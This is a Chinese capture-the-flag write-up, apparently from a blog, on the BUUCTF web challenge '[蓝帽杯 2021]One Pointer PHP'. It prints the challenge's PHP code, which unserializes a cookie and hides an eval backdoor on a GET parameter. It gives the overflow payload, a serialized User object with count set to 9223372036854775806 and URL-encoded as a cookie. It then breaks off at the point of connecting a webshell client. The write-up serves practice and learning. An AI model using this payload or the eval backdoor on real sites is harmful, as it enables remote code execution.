100 ,【8】 buuctf web [蓝帽杯 2021]One Pointer PHP(别看)

进入靶场

没提示,去看源代码。

user.php

php 复制代码
<?php
// 定义一个名为 User 的类,该类可用于表示用户相关信息或执行与用户有关的操作
class User{
    // 声明一个公共属性 $count,可在类的内部和外部直接访问
    // 这个属性可能用于记录与用户相关的某种数量,比如用户的操作次数、用户拥有的物品数量等
    public $count;
}
?>

add_api.php

php 复制代码
<?php
// 包含 "user.php" 文件,该文件中可能定义了 User 类或其他相关代码
// 包含文件后,当前脚本就可以使用该文件中定义的类、函数、变量等
include "user.php";

// 从 $_COOKIE 超全局数组中获取名为 "data" 的 cookie 值,并尝试对其进行反序列化操作
// 反序列化操作会将存储在 cookie 中的序列化对象恢复为 PHP 对象
// 如果反序列化成功,将结果赋值给 $user 变量,并进入 if 语句块
if($user = unserialize($_COOKIE["data"])){
    // 对 $user 对象的 count 属性进行自增操作,然后将 $count 数组的对应索引位置赋值为 1
    // 例如,如果 $user->count 初始值为 1,自增后为 2,那么 $count[2] = 1
    $count[++$user->count] = 1;

    // 这里存在语法错误,正确的应该是 if ($count[] = 1) 这种写法不符合正常逻辑
    // 可能本意是检查某个条件,但这样的赋值操作结果总是为 1(在 PHP 中赋值表达式的值为所赋的值),条件恒为真
    // 暂且按代码逻辑理解,若这个条件成立
    if($count[] = 1){
        // 将 $user 对象的 count 属性再加 1
        $user->count += 1;
        // 将更新后的 $user 对象进行序列化操作,将其转换为字符串形式
        // 然后使用 setcookie 函数将序列化后的字符串存储到名为 "data" 的 cookie 中
        setcookie("data", serialize($user));
    } else {
        // 如果上述条件不成立(实际上由于赋值操作,这里永远不会执行)
        // 使用 eval 函数执行从 GET 请求中获取的名为 "backdoor" 的参数值
        // 这是非常危险的操作,因为用户可以通过 GET 请求传入恶意代码,从而导致任意代码执行漏洞
        eval($_GET["backdoor"]);
    }
} else {
    // 如果反序列化失败,说明 cookie 中存储的数据不是有效的序列化对象或者 cookie 不存在
    // 创建一个新的 User 类的实例
    $user = new User;
    // 将新创建的 $user 对象的 count 属性初始化为 1
    $user->count = 1;
    // 将新创建的 $user 对象进行序列化操作,然后存储到名为 "data" 的 cookie 中
    setcookie("data", serialize($user));
}
?>

如下代码

给与了我们进行任意代码执行漏洞的条件

即设置count为9223372036854775806

php 复制代码
<?php
    class User
    {
        public $count=9223372036854775806;
    }
    echo serialize(new User);
?>
复制代码
O:4:"User":1:{s:5:"count";i:9223372036854775806;} 

忘记进行url编码了

php 复制代码
<?php

class User{
	public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>

cookie 添加为以下内容

data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

大概这样改cookie

到这块就需要蚁剑连接了,我的蚁剑有问题,最近还没好

先帝创业未半而开局崩殂

相关推荐
EutoCool1 小时前
Qt:布局管理器Layout
开发语言·c++·windows·嵌入式硬件·qt·前端框架
Cyanto1 小时前
Spring注解IoC与JUnit整合实战
java·开发语言·spring·mybatis
阿俊-全栈开发1 小时前
crmeb多门店对接拉卡拉支付小程序聚合收银台集成全流程详解
小程序·php·拉卡拉聚合收银台·拉卡拉三方支付
写不出来就跑路2 小时前
WebClient与HTTPInterface远程调用对比
java·开发语言·后端·spring·springboot
悠哉清闲2 小时前
C++ MediaCodec H264解码
开发语言·c++
张人玉2 小时前
c#中Random类、DateTime类、String类
开发语言·c#
Jinkxs2 小时前
JavaScript性能优化实战技术
开发语言·javascript·性能优化
ydm_ymz3 小时前
C语言初阶4-数组
c语言·开发语言
presenttttt4 小时前
用Python和OpenCV从零搭建一个完整的双目视觉系统(六 最终篇)
开发语言·python·opencv·计算机视觉
逐花归海.4 小时前
『 C++ 入门到放弃 』- 多态
开发语言·c++·笔记·程序人生